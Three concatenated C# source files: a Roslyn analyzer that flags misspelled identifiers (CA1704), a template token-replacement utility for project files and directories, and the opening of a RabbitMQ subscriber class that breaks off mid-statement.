// Copyright (c) Microsoft. All Rights Reserved. Licensed under the MIT license. See License.txt in the project root for license information. using System; using System.Collections.Generic; using System.Collections.Immutable; using System.Linq; using Analyzer.Utilities; using Analyzer.Utilities.Extensions; using Microsoft.CodeAnalysis; using Microsoft.CodeAnalysis.Diagnostics; using Microsoft.CodeAnalysis.Operations; using Microsoft.CodeAnalysis.Text; namespace Text.Analyzers { using static TextAnalyzersResources; /// <summary> /// CA1704: Identifiers should be spelled correctly /// </summary> [DiagnosticAnalyzer(LanguageNames.CSharp, LanguageNames.VisualBasic)] public sealed class IdentifiersShouldBeSpelledCorrectlyAnalyzer : DiagnosticAnalyzer { internal const string RuleId = "CA1704"; private static readonly LocalizableString s_localizableTitle = CreateLocalizableResourceString(nameof(IdentifiersShouldBeSpelledCorrectlyTitle)); private static readonly LocalizableString s_localizableDescription = CreateLocalizableResourceString(nameof(IdentifiersShouldBeSpelledCorrectlyDescription)); private static readonly SourceTextValueProvider<CodeAnalysisDictionary> s_xmlDictionaryProvider = new(ParseXmlDictionary); private static readonly SourceTextValueProvider<CodeAnalysisDictionary> s_dicDictionaryProvider = new(ParseDicDictionary); private static readonly CodeAnalysisDictionary s_mainDictionary = GetMainDictionary(); internal static readonly DiagnosticDescriptor FileParseRule = DiagnosticDescriptorHelper.Create( RuleId, s_localizableTitle, CreateLocalizableResourceString(nameof(IdentifiersShouldBeSpelledCorrectlyFileParse)), DiagnosticCategory.Naming, RuleLevel.BuildWarning, description: s_localizableDescription, isPortedFxCopRule: true, isDataflowRule: false); internal static readonly DiagnosticDescriptor AssemblyRule = DiagnosticDescriptorHelper.Create( RuleId, s_localizableTitle, CreateLocalizableResourceString(nameof(IdentifiersShouldBeSpelledCorrectlyMessageAssembly)), DiagnosticCategory.Naming, RuleLevel.BuildWarning, description: s_localizableDescription, isPortedFxCopRule: true, isDataflowRule: false); internal static readonly DiagnosticDescriptor NamespaceRule = DiagnosticDescriptorHelper.Create( RuleId, s_localizableTitle, CreateLocalizableResourceString(nameof(IdentifiersShouldBeSpelledCorrectlyMessageNamespace)), DiagnosticCategory.Naming, RuleLevel.BuildWarning, description: s_localizableDescription, isPortedFxCopRule: true, isDataflowRule: false); internal static readonly DiagnosticDescriptor TypeRule = DiagnosticDescriptorHelper.Create( RuleId, s_localizableTitle, CreateLocalizableResourceString(nameof(IdentifiersShouldBeSpelledCorrectlyMessageType)), DiagnosticCategory.Naming, RuleLevel.BuildWarning, description: s_localizableDescription, isPortedFxCopRule: true, isDataflowRule: false); internal static readonly DiagnosticDescriptor VariableRule = DiagnosticDescriptorHelper.Create( RuleId, s_localizableTitle, CreateLocalizableResourceString(nameof(IdentifiersShouldBeSpelledCorrectlyMessageVariable)), DiagnosticCategory.Naming, RuleLevel.BuildWarning, description: s_localizableDescription, isPortedFxCopRule: true, isDataflowRule: false); internal static readonly DiagnosticDescriptor MemberRule = DiagnosticDescriptorHelper.Create( RuleId, s_localizableTitle, CreateLocalizableResourceString(nameof(IdentifiersShouldBeSpelledCorrectlyMessageMember)), DiagnosticCategory.Naming, RuleLevel.BuildWarning, description: s_localizableDescription, isPortedFxCopRule: true, isDataflowRule: false); internal static readonly DiagnosticDescriptor MemberParameterRule = DiagnosticDescriptorHelper.Create( RuleId, s_localizableTitle, CreateLocalizableResourceString(nameof(IdentifiersShouldBeSpelledCorrectlyMessageMemberParameter)), DiagnosticCategory.Naming, RuleLevel.BuildWarning, description: s_localizableDescription, isPortedFxCopRule: true, isDataflowRule: false); internal static readonly DiagnosticDescriptor DelegateParameterRule = DiagnosticDescriptorHelper.Create( RuleId, s_localizableTitle, CreateLocalizableResourceString(nameof(IdentifiersShouldBeSpelledCorrectlyMessageDelegateParameter)), DiagnosticCategory.Naming, RuleLevel.BuildWarning, description: s_localizableDescription, isPortedFxCopRule: true, isDataflowRule: false); internal static readonly DiagnosticDescriptor TypeTypeParameterRule = DiagnosticDescriptorHelper.Create( RuleId, s_localizableTitle, CreateLocalizableResourceString(nameof(IdentifiersShouldBeSpelledCorrectlyMessageTypeTypeParameter)), DiagnosticCategory.Naming, RuleLevel.BuildWarning, description: s_localizableDescription, isPortedFxCopRule: true, isDataflowRule: false); internal static readonly DiagnosticDescriptor MethodTypeParameterRule = DiagnosticDescriptorHelper.Create( RuleId, s_localizableTitle, CreateLocalizableResourceString(nameof(IdentifiersShouldBeSpelledCorrectlyMessageMethodTypeParameter)), DiagnosticCategory.Naming, RuleLevel.BuildWarning, description: s_localizableDescription, isPortedFxCopRule: true, isDataflowRule: false); internal static readonly DiagnosticDescriptor AssemblyMoreMeaningfulNameRule = DiagnosticDescriptorHelper.Create( RuleId, s_localizableTitle, CreateLocalizableResourceString(nameof(IdentifiersShouldBeSpelledCorrectlyMessageAssemblyMoreMeaningfulName)), DiagnosticCategory.Naming, RuleLevel.BuildWarning, description: s_localizableDescription, isPortedFxCopRule: true, isDataflowRule: false); internal static readonly DiagnosticDescriptor NamespaceMoreMeaningfulNameRule = DiagnosticDescriptorHelper.Create( RuleId, s_localizableTitle, CreateLocalizableResourceString(nameof(IdentifiersShouldBeSpelledCorrectlyMessageNamespaceMoreMeaningfulName)), DiagnosticCategory.Naming, RuleLevel.BuildWarning, description: s_localizableDescription, isPortedFxCopRule: true, isDataflowRule: false); internal static readonly DiagnosticDescriptor TypeMoreMeaningfulNameRule = DiagnosticDescriptorHelper.Create( RuleId, s_localizableTitle, CreateLocalizableResourceString(nameof(IdentifiersShouldBeSpelledCorrectlyMessageTypeMoreMeaningfulName)), DiagnosticCategory.Naming, RuleLevel.BuildWarning, description: s_localizableDescription, isPortedFxCopRule: true, isDataflowRule: false); internal static readonly DiagnosticDescriptor MemberMoreMeaningfulNameRule = DiagnosticDescriptorHelper.Create( RuleId, s_localizableTitle, CreateLocalizableResourceString(nameof(IdentifiersShouldBeSpelledCorrectlyMessageMemberMoreMeaningfulName)), DiagnosticCategory.Naming, RuleLevel.BuildWarning, description: s_localizableDescription, isPortedFxCopRule: true, isDataflowRule: false); internal static readonly DiagnosticDescriptor MemberParameterMoreMeaningfulNameRule = DiagnosticDescriptorHelper.Create( RuleId, s_localizableTitle, CreateLocalizableResourceString(nameof(IdentifiersShouldBeSpelledCorrectlyMessageMemberParameterMoreMeaningfulName)), DiagnosticCategory.Naming, RuleLevel.BuildWarning, description: s_localizableDescription, isPortedFxCopRule: true, isDataflowRule: false); internal static readonly DiagnosticDescriptor DelegateParameterMoreMeaningfulNameRule = DiagnosticDescriptorHelper.Create( RuleId, s_localizableTitle, CreateLocalizableResourceString(nameof(IdentifiersShouldBeSpelledCorrectlyMessageDelegateParameterMoreMeaningfulName)), DiagnosticCategory.Naming, RuleLevel.BuildWarning, description: s_localizableDescription, isPortedFxCopRule: true, isDataflowRule: false); internal static readonly DiagnosticDescriptor TypeTypeParameterMoreMeaningfulNameRule = DiagnosticDescriptorHelper.Create( RuleId, s_localizableTitle, CreateLocalizableResourceString(nameof(IdentifiersShouldBeSpelledCorrectlyMessageTypeTypeParameterMoreMeaningfulName)), DiagnosticCategory.Naming, RuleLevel.BuildWarning, description: s_localizableDescription, isPortedFxCopRule: true, isDataflowRule: false); internal static readonly DiagnosticDescriptor MethodTypeParameterMoreMeaningfulNameRule = DiagnosticDescriptorHelper.Create( RuleId, s_localizableTitle, CreateLocalizableResourceString(nameof(IdentifiersShouldBeSpelledCorrectlyMessageMethodTypeParameterMoreMeaningfulName)), DiagnosticCategory.Naming, RuleLevel.BuildWarning, description: s_localizableDescription, isPortedFxCopRule: true, isDataflowRule: false); public override ImmutableArray<DiagnosticDescriptor> SupportedDiagnostics { get; } = ImmutableArray.Create( FileParseRule, AssemblyRule, NamespaceRule, TypeRule, VariableRule, MemberRule, MemberParameterRule, DelegateParameterRule, TypeTypeParameterRule, MethodTypeParameterRule, AssemblyMoreMeaningfulNameRule, NamespaceMoreMeaningfulNameRule, TypeMoreMeaningfulNameRule, MemberMoreMeaningfulNameRule, MemberParameterMoreMeaningfulNameRule, DelegateParameterMoreMeaningfulNameRule, TypeTypeParameterMoreMeaningfulNameRule, MethodTypeParameterMoreMeaningfulNameRule); public override void Initialize(AnalysisContext context) { context.EnableConcurrentExecution(); context.ConfigureGeneratedCodeAnalysis(GeneratedCodeAnalysisFlags.None); context.RegisterCompilationStartAction(OnCompilationStart); } private static void OnCompilationStart(CompilationStartAnalysisContext compilationStartContext) { var dictionaries = ReadDictionaries(); var projectDictionary = CodeAnalysisDictionary.CreateFromDictionaries(dictionaries.Concat(s_mainDictionary)); compilationStartContext.RegisterOperationAction(AnalyzeVariable, OperationKind.VariableDeclarator); compilationStartContext.RegisterCompilationEndAction(AnalyzeAssembly); compilationStartContext.RegisterSymbolAction( AnalyzeSymbol, SymbolKind.Namespace, SymbolKind.NamedType, SymbolKind.Method, SymbolKind.Property, SymbolKind.Event, SymbolKind.Field, SymbolKind.Parameter); IEnumerable<CodeAnalysisDictionary> ReadDictionaries() { var fileProvider = AdditionalFileProvider.FromOptions(compilationStartContext.Options); return fileProvider.GetMatchingFiles(@"(?:dictionary|custom).*?\.(?:xml|dic)$") .Select(CreateDictionaryFromAdditionalText) .Where(x => x != null) .ToList(); CodeAnalysisDictionary CreateDictionaryFromAdditionalText(AdditionalText additionalFile) { var text = additionalFile.GetText(compilationStartContext.CancellationToken); var isXml = additionalFile.Path.EndsWith(".xml", StringComparison.OrdinalIgnoreCase); var provider = isXml ? s_xmlDictionaryProvider : s_dicDictionaryProvider; if (!compilationStartContext.TryGetValue(text, provider, out var dictionary)) { try { // Annoyingly (and expectedly), TryGetValue swallows the parsing exception, // so we have to parse again to get it. var unused = isXml ? ParseXmlDictionary(text) : ParseDicDictionary(text); ReportFileParseDiagnostic(additionalFile.Path, "Unknown error"); } #pragma warning disable CA1031 // Do not catch general exception types catch (Exception ex) #pragma warning restore CA1031 // Do not catch general exception types { ReportFileParseDiagnostic(additionalFile.Path, ex.Message); } } return dictionary; } void ReportFileParseDiagnostic(string filePath, string message) { var diagnostic = Diagnostic.Create(FileParseRule, Location.None, filePath, message); compilationStartContext.RegisterCompilationEndAction(x => x.ReportDiagnostic(diagnostic)); } } void AnalyzeVariable(OperationAnalysisContext operationContext) { var variableOperation = (IVariableDeclaratorOperation)operationContext.Operation; var variable = variableOperation.Symbol; ReportDiagnosticsForSymbol(variable, variable.Name, operationContext.ReportDiagnostic, checkForUnmeaningful: false); } void AnalyzeAssembly(CompilationAnalysisContext context) { var assembly = context.Compilation.Assembly; ReportDiagnosticsForSymbol(assembly, assembly.Name, context.ReportDiagnostic); } void AnalyzeSymbol(SymbolAnalysisContext symbolContext) { var typeParameterDiagnostics = Enumerable.Empty<Diagnostic>(); ISymbol symbol = symbolContext.Symbol; if (symbol.IsOverride) { return; } var symbolName = symbol.Name; switch (symbol) { case IFieldSymbol: symbolName = RemovePrefixIfPresent('_', symbolName); break; case IMethodSymbol method: switch (method.MethodKind) { case MethodKind.PropertyGet: case MethodKind.PropertySet: return; case MethodKind.Constructor: case MethodKind.StaticConstructor: symbolName = symbol.ContainingType.Name; break; } foreach (var typeParameter in method.TypeParameters) { ReportDiagnosticsForSymbol(typeParameter, RemovePrefixIfPresent('T', typeParameter.Name), symbolContext.ReportDiagnostic); } break; case INamedTypeSymbol type: if (type.TypeKind == TypeKind.Interface) { symbolName = RemovePrefixIfPresent('I', symbolName); } foreach (var typeParameter in type.TypeParameters) { ReportDiagnosticsForSymbol(typeParameter, RemovePrefixIfPresent('T', typeParameter.Name), symbolContext.ReportDiagnostic); } break; } ReportDiagnosticsForSymbol(symbol, symbolName, symbolContext.ReportDiagnostic); } void ReportDiagnosticsForSymbol(ISymbol symbol, string symbolName, Action<Diagnostic> reportDiagnostic, bool checkForUnmeaningful = true) { foreach (var misspelledWord in GetMisspelledWords(symbolName)) { reportDiagnostic(GetMisspelledWordDiagnostic(symbol, misspelledWord)); } if (checkForUnmeaningful && symbolName.Length == 1) { reportDiagnostic(GetUnmeaningfulIdentifierDiagnostic(symbol, symbolName)); } } IEnumerable<string> GetMisspelledWords(string symbolName) { var parser = new WordParser(symbolName, WordParserOptions.SplitCompoundWords); string? word; while ((word = parser.NextWord()) != null) { if (!IsWordAcronym(word) && !IsWordNumeric(word) && !IsWordSpelledCorrectly(word)) { yield return word; } } } static bool IsWordAcronym(string word) => word.All(char.IsUpper); static bool IsWordNumeric(string word) => char.IsDigit(word[0]); bool IsWordSpelledCorrectly(string word) => !projectDictionary.UnrecognizedWords.Contains(word) && projectDictionary.RecognizedWords.Contains(word); } private static CodeAnalysisDictionary GetMainDictionary() { // The "main" dictionary, Dictionary.dic, was created in WSL Ubuntu with the following commands: // // Install dependencies: // > sudo apt install hunspell-tools hunspell-en-us // // Create dictionary: // > unmunch /usr/share/hunspell/en_US.dic /usr/share/hunspell/en_US.aff > Dictionary.dic // // Tweak: // Added the words: 'namespace' var text = SourceText.From(TextAnalyzersResources.Dictionary); return ParseDicDictionary(text); } private static CodeAnalysisDictionary ParseXmlDictionary(SourceText text) => text.Parse(CodeAnalysisDictionary.CreateFromXml); private static CodeAnalysisDictionary ParseDicDictionary(SourceText text) => text.Parse(CodeAnalysisDictionary.CreateFromDic); private static string RemovePrefixIfPresent(char prefix, string name) => name.Length > 0 && name[0] == prefix ? name[1..] : name; private static Diagnostic GetMisspelledWordDiagnostic(ISymbol symbol, string misspelledWord) { return symbol.Kind switch { SymbolKind.Assembly => symbol.CreateDiagnostic(AssemblyRule, misspelledWord, symbol.Name), SymbolKind.Namespace => symbol.CreateDiagnostic(NamespaceRule, misspelledWord, symbol.ToDisplayString()), SymbolKind.NamedType => symbol.CreateDiagnostic(TypeRule, misspelledWord, symbol.ToDisplayString()), SymbolKind.Method or SymbolKind.Property or SymbolKind.Event or SymbolKind.Field => symbol.CreateDiagnostic(MemberRule, misspelledWord, symbol.ToDisplayString()), SymbolKind.Parameter => symbol.ContainingType.TypeKind == TypeKind.Delegate ? symbol.CreateDiagnostic(DelegateParameterRule, symbol.ContainingType.ToDisplayString(), misspelledWord, symbol.Name) : symbol.CreateDiagnostic(MemberParameterRule, symbol.ContainingSymbol.ToDisplayString(), misspelledWord, symbol.Name), SymbolKind.TypeParameter => symbol.ContainingSymbol.Kind == SymbolKind.Method ? symbol.CreateDiagnostic(MethodTypeParameterRule, symbol.ContainingSymbol.ToDisplayString(), misspelledWord, symbol.Name) : symbol.CreateDiagnostic(TypeTypeParameterRule, symbol.ContainingSymbol.ToDisplayString(), misspelledWord, symbol.Name), SymbolKind.Local => symbol.CreateDiagnostic(VariableRule, misspelledWord, symbol.ToDisplayString()), _ => throw new NotImplementedException($"Unknown SymbolKind: {symbol.Kind}"), }; } private static Diagnostic GetUnmeaningfulIdentifierDiagnostic(ISymbol symbol, string symbolName) { return symbol.Kind switch { SymbolKind.Assembly => symbol.CreateDiagnostic(AssemblyMoreMeaningfulNameRule, symbolName), SymbolKind.Namespace => symbol.CreateDiagnostic(NamespaceMoreMeaningfulNameRule, symbolName), SymbolKind.NamedType => symbol.CreateDiagnostic(TypeMoreMeaningfulNameRule, symbolName), SymbolKind.Method or SymbolKind.Property or SymbolKind.Event or SymbolKind.Field => symbol.CreateDiagnostic(MemberMoreMeaningfulNameRule, symbolName), SymbolKind.Parameter => symbol.ContainingType.TypeKind == TypeKind.Delegate ? symbol.CreateDiagnostic(DelegateParameterMoreMeaningfulNameRule, symbol.ContainingType.ToDisplayString(), symbolName) : symbol.CreateDiagnostic(MemberParameterMoreMeaningfulNameRule, symbol.ContainingSymbol.ToDisplayString(), symbolName), SymbolKind.TypeParameter => symbol.ContainingSymbol.Kind == SymbolKind.Method ? symbol.CreateDiagnostic(MethodTypeParameterMoreMeaningfulNameRule, symbol.ContainingSymbol.ToDisplayString(), symbol.Name) : symbol.CreateDiagnostic(TypeTypeParameterMoreMeaningfulNameRule, symbol.ContainingSymbol.ToDisplayString(), symbol.Name), _ => throw new NotImplementedException($"Unknown SymbolKind: {symbol.Kind}"), }; } } }
using System; using System.IO; using System.Text; using System.Linq; using System.Reflection; using System.Collections.Generic; using System.Text.RegularExpressions; namespace Clide { // TODO - I don't think I like the static methods ... they're sorta helpful, but not really needed. // Might wanna delete them and re-create them later once we realize exactly which methods are useful? /// <summary>Class for handling "PP" (Project Properties or Pre-Processed) templates using project configuration variables</summary> public class PP : Tokenizer { public PP() : base() { FileExtensionToProcess = "pp"; } public PP(string text) : this(){ Text = text; } public PP(Project project) : this() { Project = project; } /// <summary>The project associated with this PP processor.</summary> public virtual Project Project { get; set; } /// <summary>Returns a Dictionary from the given project's properties that can be used as tokens for string replacement</summary> public virtual Dictionary<string,string> ProjectToDictionary(Project project, string config = null, bool includeGlobal = true) { var properties = new Dictionary<string,string>(); if (project == null) return properties; if (config == null) config = project.DefaultConfigurationName; if (includeGlobal && project.Global != null) foreach (var property in project.Global.Properties) properties[property.Name] = property.Text; if (! string.IsNullOrEmpty(config) && project.Config[config] != null) foreach (var property in project.Config[config].Properties) properties[property.Name] = property.Text; // the 'configuration' token is set in the global properties, but we should override it if a config is passed in if (! string.IsNullOrEmpty(config)) { var configToken = properties.Select(prop => prop.Key).FirstOrDefault(key => key.ToLower() == "configuration"); if (configToken == null) configToken = "configuration"; properties[configToken] = config; } return properties; } /// <summary>Returns the result of replacing the project properties from the given project in Text</summary> public virtual string Render(Project project, string config = null, bool includeGlobal = true) { return Render(Text, project, config, includeGlobal); } /// <summary>Returns the result of replacing the project properties from the given project in the given text</summary> public virtual string Render(string text, Project project, string config = null, bool includeGlobal = true) { return Render(text, ProjectToDictionary(project, config, includeGlobal)); } /// <summary>Processes the provided directory and its pp files.</summary> public virtual string ProcessDirectory(string path, string outputDir = null, Project project = null, object tokens = null) { if (project == null) project = Project; // TODO DRY (ProcessFile uses the same) var allTokens = (project == null) ? new Dictionary<string,string>() : ProjectToDictionary(project); if (tokens != null) foreach (var item in ToDictionary(tokens)) allTokens[item.Key] = (item.Value == null) ? null : item.Value.ToString(); return base.ProcessDirectory(path: path, outputDir: outputDir, tokens: allTokens); } /// <summary>Processes the provided pp file.</summary> public virtual string ProcessFile(string path, string outputPath = null, Project project = null, object tokens = null) { if (project == null) project = Project; var allTokens = (project == null) ? null : ProjectToDictionary(project); if (tokens != null) foreach (var item in ToDictionary(tokens)) allTokens[item.Key] = (item.Value == null) ? null : item.Value.ToString(); return base.ProcessFile(path: path, outputPath: outputPath, tokens: allTokens); } /// <summary>Helper method for replacing the project properties from the given project in the given string</summary> public static string Replace(string text, Project project, string config = null, bool includeGlobal = true) { return new PP().Render(text, project, config, includeGlobal); } } /// <summary>Class for replacing tokens in text</summary> public class Tokenizer { /// <summary>SImple delegate for matching on paths. Given a path, you return a bool for whether that path matches.</summary> public delegate bool MatchPath(string path); public static string DefaultLeftDelimiter = "$"; public static string DefaultRightDelimiter = "$"; public static string DefaultRegexSafeLeftDelimiter = "\\$"; public static string DefaultRegexSafeRightDelimiter = "\\$"; public static bool DefaultCaseInsensitive = true; public static bool DefaultSkipIfMissingTokens = true; public Tokenizer() { LeftDelimiter = Tokenizer.DefaultLeftDelimiter; RightDelimiter = Tokenizer.DefaultRightDelimiter; CaseInsensitive = Tokenizer.DefaultCaseInsensitive; SkipIfMissingTokens = Tokenizer.DefaultSkipIfMissingTokens; RegexSafeLeftDelimiter = Tokenizer.DefaultRegexSafeLeftDelimiter; RegexSafeRightDelimiter = Tokenizer.DefaultRegexSafeRightDelimiter; Excludes = new List<MatchPath>(); } public Tokenizer(string text) : this() { Text = text; } string _workingDirectory; Regex _tokenFindingRegex; /// <summary>A list of lambdas that, if they return false, will exlude the path that we're trying to render</summary> public virtual List<MatchPath> Excludes { get; set; } /// <summary>If this returns true, we don't render this file/directory when we ProcessFile/ProcessDirectory. Uses Excludes.</summary> public virtual bool PathExcluded(string path) { return Excludes.Any(exclude => exclude(path)); } /// <summary>The string to look for at the left of a token</summary> public virtual string LeftDelimiter { get; set; } /// <summary>The string to look for at the right of a token</summary> public virtual string RightDelimiter { get; set; } /// <summary>A version of the string to look for at the left of a token that has been excaped and can be used in Regex</summary> public virtual string RegexSafeLeftDelimiter { get; set; } /// <summary>A version of the string to look for at the right of a token that has been excaped and can be used in Regex</summary> public virtual string RegexSafeRightDelimiter { get; set; } /// <summary>The regular expression we use in Tokens() to find tokens. Default uses RegexSafeLeftDelimiter and RegexSafeRightDelimiter.</summary> public virtual Regex TokenFindingRegex { get { return _tokenFindingRegex ?? (_tokenFindingRegex = new Regex(RegexSafeLeftDelimiter + "([^\\s" + RegexSafeRightDelimiter + "]+)" + RegexSafeRightDelimiter)); } set { _tokenFindingRegex = value; } } /// <summary>The text that we want to replace tokens in</summary> public virtual string Text { get; set; } /// <summary>The current working directory (defaults to Directory.GetCurrentDirectory())</summary> public virtual string WorkingDirectory { get { return _workingDirectory ?? (_workingDirectory = Directory.GetCurrentDirectory()); } set { _workingDirectory = value; } } /// <summary>Whether or not we should replace tokens case insensitively</summary> public virtual bool CaseInsensitive { get; set; } /// <summary>If set to true, ProcessDirectory() will skip files/directories with tokens in the name that aren't found</summary> /// <remarks>Default: true</remarks> public virtual bool SkipIfMissingTokens { get; set; } /// <summary>The file extension that we should process. If this is set, we won't process files without this extension.</summary> public virtual string FileExtensionToProcess { get; set; } /// <summary>Returns the result of replacing the given tokens in Text</summary> public virtual string Render(Dictionary<string,object> tokens) { return Render(Text, tokens); } /// <summary>Returns the result of replacing the given tokens in the given string</summary> public virtual string Render(string text, Dictionary<string,object> tokens) { var stringTokens = new Dictionary<string,string>(); foreach (var token in tokens) stringTokens[token.Key] = (token.Value == null) ? string.Empty : token.Value.ToString(); return Render(text, stringTokens); } /// <summary>Returns the result of replacing the given tokens in the given string</summary> public virtual string Render(string text, Dictionary<string,string> tokens) { var builder = new StringBuilder(text); if (tokens == null) return builder.ToString(); foreach (var token in tokens) ReplaceToken(builder, key: token.Key, value: token.Value.ToString()); return builder.ToString(); } /// <summary>Given a StringBuilder, replaces the given key (wrapped with LeftDelimiter and RightDelimiter) with the value</summary> public virtual void ReplaceToken(StringBuilder builder, string key, string value, bool? caseInsensitive = null) { ReplaceString(builder, string.Format("{0}{1}{2}", LeftDelimiter, key, RightDelimiter), value, caseInsensitive); } /// <summary>Given a StringBuilder, replaces the given key with the value</summary> public virtual void ReplaceString(StringBuilder builder, string key, string value, bool? caseInsensitive = null) { if (caseInsensitive == null) caseInsensitive = CaseInsensitive; var comparison = ((bool) caseInsensitive) ? StringComparison.OrdinalIgnoreCase : StringComparison.InvariantCulture; ReplaceString(builder, key, value, comparison); } /// <summary>Given a StringBuilder, replaces the given key with the value</summary> /// <remarks> /// This method does the real work of finding and replacing strings. /// /// Note: this currently loops and doesn't stop until it can't find the key anymore. It doesn't move through the text. /// Note: this also calls StringBuilder.ToString() more often than I'd like so it can execute IndexOf() and Substring() /// </remarks> public virtual void ReplaceString(StringBuilder builder, string key, string value, StringComparison comparison) { if (builder == null || builder.Length == 0 || string.IsNullOrEmpty(key)) return; var original = builder.ToString(); var index = original.IndexOf(key, comparison); while (index > -1) { // We have an index! Let's replace all instances of the found key with the value ... var foundKey = original.Substring(index, key.Length); builder.Replace(foundKey, value); // let the builder replace all instances of the key we found // Get the new string and look for another index original = builder.ToString(); index = original.IndexOf(key, comparison); } } /// <summary>Processes the given directory (with an optional output path and file extension to check for)</summary> /// <remarks> /// If the output path is null, we output to WorkingDirectory (using the same file name). /// If the fileExtension is null, we use FileExtensionToProcess or we process the file anyway. /// </remarks> public virtual string ProcessDirectory(string path, Dictionary<string,string> tokens, string outputDir = null, string fileExtension = null) { if (PathExcluded(path)) return null; // Skip this path and return null to indicate that we didn't render it if (! Directory.Exists(path)) throw new DirectoryNotFoundException("Could not find directory to process: " + path); if (outputDir == null) outputDir = WorkingDirectory; // Create the outputDir and all necessary subdirectories (replacing tokens in directory names) Directory.CreateDirectory(outputDir); outputDir = Path.GetFullPath(outputDir); path = Path.GetFullPath(path); // Directories foreach (var dir in Directory.GetDirectories(path, "*", SearchOption.AllDirectories)) { if (PathExcluded(dir)) continue; // Skip this path var relative = dir.Substring(path.Length).TrimStart(@"\/".ToCharArray()); relative = Replace(relative, tokens); if (SkipIfMissingTokens && Tokens(relative).Any()) continue; // there are still tokens in the filename ... next! Directory.CreateDirectory(Path.Combine(outputDir, relative)); } // Files foreach (var file in Directory.GetFiles(path, "*", SearchOption.AllDirectories)) { if (PathExcluded(file)) continue; // Skip this path var relative = file.Substring(path.Length).TrimStart(@"\/".ToCharArray()); relative = Replace(relative, tokens); var output = Path.Combine(outputDir, relative); if (SkipIfMissingTokens && Tokens(relative).Any()) continue; // there are still tokens in the filename ... next! if (! Directory.Exists(Path.GetDirectoryName(output))) continue; // if the directory was skipped, we skip this file too ProcessFile(path: file, outputPath: output, tokens: tokens, fileExtension: fileExtension); } return outputDir; } /// <summary>Processes the given file (with an optional output path and file extension to check for)</summary> /// <remarks> /// If the output path is null, we output to WorkingDirectory (using the same file name). /// If the fileExtension is null, we use FileExtensionToProcess or we process the file anyway. /// </remarks> public virtual string ProcessFile(string path, Dictionary<string,string> tokens, string outputPath = null, string fileExtension = null) { if (PathExcluded(path)) return null; // Skip this path and return null to indicate that we didn't render it if (! File.Exists(path)) throw new FileNotFoundException("Could not find file to process", path); if (outputPath == null) outputPath = Path.Combine(WorkingDirectory, Path.GetFileName(path)); if (Directory.Exists(outputPath)) outputPath = Path.Combine(outputPath, Path.GetFileName(path)); if (fileExtension == null) fileExtension = FileExtensionToProcess; if (fileExtension != null && ! path.ToLower().EndsWith(fileExtension.ToLower())) { // We specified a file extension, but this file doesn't end with it. Simply copy the file (without processing it). File.Copy(path, outputPath, true); } else { // Remove dot and extension if output path has extension if (fileExtension != null && outputPath.ToLower().EndsWith(fileExtension.ToLower())) outputPath = outputPath.Substring(0, outputPath.Length - fileExtension.Length - 1); outputPath = Replace(outputPath, tokens); var text = Replace(File.ReadAllText(path), tokens); using (var writer = new StreamWriter(outputPath)) writer.Write(text); } return outputPath; } /// <summary>Returns a list of what we believe to be tokens from the provided text.</summary> /// <remarks> /// NOTE: This does NOT use LeftDelimiter/RightDelimiter. /// It uses RegexSafeLeftDelimiter/RegexSafeRightDelimiter instead! /// /// NOTE: This does NOT support any spaces in tokens. Ideally, tokens should never have spaces in them. /// </remarks> public virtual List<string> Tokens(string text) { var tokens = new List<string>(); foreach (Match match in TokenFindingRegex.Matches(text)) tokens.Add(match.Groups[1].ToString()); return tokens; } /// <summary>Helper method for replacing the given tokens in the given string</summary> public static string Replace(string text, Dictionary<string,object> tokens) { return new Tokenizer().Render(text, tokens); } /// <summary>Helper method for replacing the given tokens in the given string</summary> public static string Replace(string text, Dictionary<string,string> tokens) { return new Tokenizer().Render(text, tokens); } /// <summary>Helper method for replacing the given tokens (as an anonymous object) in the given string</summary> public static string Replace(string text, object tokens) { return new Tokenizer().Render(text, ToDictionary(tokens)); } /// <summary>Given an anonymous object, this returns a Dictionary of strings to objects</summary> public static Dictionary<string, object> ToDictionary(object anonymousType) { if (anonymousType == null) return null; if (anonymousType is Dictionary<string, object>) return anonymousType as Dictionary<string, object>; var dict = new Dictionary<string, object>(); if (anonymousType is Dictionary<string, string>) { foreach (var item in anonymousType as Dictionary<string, string>) dict[item.Key] = item.Value; return dict; } var attr = BindingFlags.Public | BindingFlags.Instance; foreach (var property in anonymousType.GetType().GetProperties(attr)) if (property.CanRead) dict.Add(property.Name, property.GetValue(anonymousType, null)); return dict; } } }
using RabbitMQ.Client; using RabbitMQ.Client.Events; using RabbitMQ.Client.Framing; using RestBus.Common; using RestBus.Common.Amqp; using RestBus.RabbitMQ.ChannelPooling; using RestBus.RabbitMQ.Consumer; using System; using System.Threading; using System.Collections.Generic; using System.Linq; namespace RestBus.RabbitMQ.Subscription { //TODO: Describe what this class does. public class RestBusSubscriber : IRestBusSubscriber { volatile AmqpChannelPooler _subscriberPool; volatile AmqpModelContainer workChannel; volatile AmqpModelContainer subscriberChannel; volatile ConcurrentQueueingConsumer workConsumer; volatile ConcurrentQueueingConsumer subscriberConsumer; volatile CancellationTokenSource connectionBroken; volatile CancellationTokenSource stopWaitingOnQueue; readonly ManualResetEventSlim requestQueued = new ManualResetEventSlim(); readonly string[] subscriberIdHeader; readonly IMessageMapper messageMapper; readonly MessagingConfiguration messagingConfig; readonly object exchangeDeclareSync = new object(); readonly string serviceName; readonly InterlockedBoolean hasStarted; volatile bool disposed = false; readonly CancellationTokenSource disposedCancellationSource = new CancellationTokenSource(); ConcurrentQueueingConsumer lastProcessedConsumerQueue = null; readonly ConnectionFactory connectionFactory; //TODO: Consider moving this to a helper class. static string[] TRUE_STRING_ARRAY = new string[] { true.ToString() }; /// <summary> /// Initislizes a new instance of the <see cref="RestBusSubscriber"/> /// </summary> /// <param name="messageMapper">The <see cref="IMessageMapper"/> used by the subscriber.</param> public RestBusSubscriber(IMessageMapper messageMapper ) : this(messageMapper, null) { } /// <summary> /// Initislizes a new instance of the <see cref="RestBusSubscriber"/> /// </summary> /// <param name="messageMapper">The <see cref="IMessageMapper"/> used by the subscriber.</param> /// <param name="settings">The subscriber settings</param> public RestBusSubscriber(IMessageMapper messageMapper, SubscriberSettings settings) { this.messageMapper = messageMapper; messagingConfig = messageMapper.MessagingConfig; //Fetched only once if (messagingConfig == null) throw new ArgumentException("messageMapper.MessagingConfig returned null", "messageMapper"); if (messageMapper.SupportedExchangeKinds == default(ExchangeKind)) { throw new ArgumentException("messageMapper.SupportedExchangeKinds is not set up.", "messageMapper"); } serviceName = (messageMapper.GetServiceName(null) ?? String.Empty).Trim(); subscriberIdHeader = new string[] { AmqpUtils.GetNewExclusiveQueueId() }; AmqpConnectionInfo.EnsureValid(messageMapper.ServerUris, 